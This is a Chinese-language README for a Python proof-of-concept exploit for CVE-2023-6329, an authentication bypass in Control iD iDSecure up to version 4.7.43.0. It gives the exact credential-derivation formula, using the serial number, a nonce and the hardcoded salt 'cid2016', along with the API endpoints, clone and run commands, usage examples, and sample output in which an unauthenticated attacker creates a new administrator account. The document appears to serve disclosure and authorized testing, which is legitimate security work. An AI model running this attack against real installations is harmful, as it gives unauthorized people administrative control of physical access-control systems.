这是一个针对 CVE-2023-6329 的 Python 概念验证漏洞利用程序,该漏洞是 Control iD iDSecure 4.7.43.0 及以下版本中存在的不当访问控制漏洞。该缺陷允许未认证的远程攻击者通过利用一个完全依赖公开可获取值(设备序列号、服务器提供的 nonce 以及硬编码盐)的可预测密码派生算法,重建有效的登录凭据。一旦认证成功,攻击者便可在 Web 界面上创建新的管理员用户。
基于 Michael Heinzl 的原始 Metasploit 模块转换为 Python。原始漏洞由 Tenable 发现并披露。
免责声明: 本工具仅用于教育目的和经授权的安全测试。作者对滥用行为不承担任何责任。请仅对您拥有或拥有明确书面许可进行测试的系统运行本工具。
iDS-Core.dll 中的登录例程通过 passwordCustom 参数暴露了一条替代认证路径。该参数的值由一个可预测的算法派生,该算法使用设备序列号(无需认证即可公开获取),结合调用方提供的 nonce 和一个硬编码盐字符串(cid2016)。由于计算中的每个要素要么由攻击者控制,要么可自由获取,任何远程攻击者都可以计算出有效的 passwordCustom 值并以管理员身份登录。
通过此路径认证成功后,服务器会将 admin 账户的密码重置为 admin;如果该账户不存在,则会创建该账户。
该漏洞利用程序按以下五个步骤执行:
1. 版本检查 — /api/util/configUI 端点返回包含软件版本的 401 响应,用于确认目标是否正在运行易受攻击的版本。
2. 获取解锁数据 — 向 /api/login/unlockGetData 发送 GET 请求,返回设备的 serial 序列号和一个 passwordRandom nonce。此端点无需认证。
3. 计算 passwordCustom — 应用以下算法派生绕过凭据:
sha1_hash = SHA1(serial)
combined = sha1_hash + passwordRandom + "cid2016"
sha256_hash = SHA256(combined)
passwordCustom = int(sha256_hash[0:6], 16) # first 6 hex chars → decimal
4. 进行身份验证并获取 JWT — 将计算出的 passwordCustom 和 passwordRandom POST 到 /api/login/,该端点返回具有管理员权限的有效 JWT accessToken。
5. 创建新的管理员用户 — 使用 JWT POST 到 /api/operator/,注册一个新的操作员账户,其 idType: 1(管理员角色)。
requests 库git clone https://github.com/itzvenom/CVE-2023-6329.git
cd CVE-2023-6329
pip install requests
python3 exploit.py --host <TARGET_IP> [options]
针对默认端口上的目标的基本用法:
python3 exploit.py --host 192.168.1.100
为新的管理员账户指定自定义凭据:
python3 exploit.py --host 192.168.1.100 --username ctfadmin --password S3cr3tPass!
在没有 SSL 的非标准端口上运行的目标:
python3 exploit.py --host 192.168.1.100 --port 8080 --no-ssl
[*] Target: https://192.168.1.100:30443
============================================================
[*] Target version: 4.7.32.0
[+] Target appears VULNERABLE.
[+] passwordRandom : 2948271034
[+] serial : ABC123XYZ
[*] Computed passwordCustom: 8301745
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] User 'ctfadmin' created successfully.
[+] Verified! New credentials work.
[+] Login at: https://192.168.1.100:30443/#/login
Username : ctfadmin
Password : S3cr3tPass!
| 字段 | 详情 |
|---|
| CVE 编号 | CVE-2023-6329 |
| 受影响产品 | Control iD iDSecure |
| 受影响版本 | ≤ 4.7.43.0 |
| 漏洞类型 | 不当访问控制(CWE-284) |
| 攻击向量 | 网络(未认证) |
| 披露日期 | 2023年11月27日 |
| 发现者 | Tenable |
| 参数 | 默认值 | 描述 |
|---|
--host | (必填) | 目标 IP 地址或主机名 |
--port | 30443 | 目标端口 |
--username | pwned_admin | 新管理员账户的用户名 |
--password | Pwned1234! | 新管理员账户的密码 |
--no-ssl | False | 禁用 HTTPS(使用纯 HTTP) |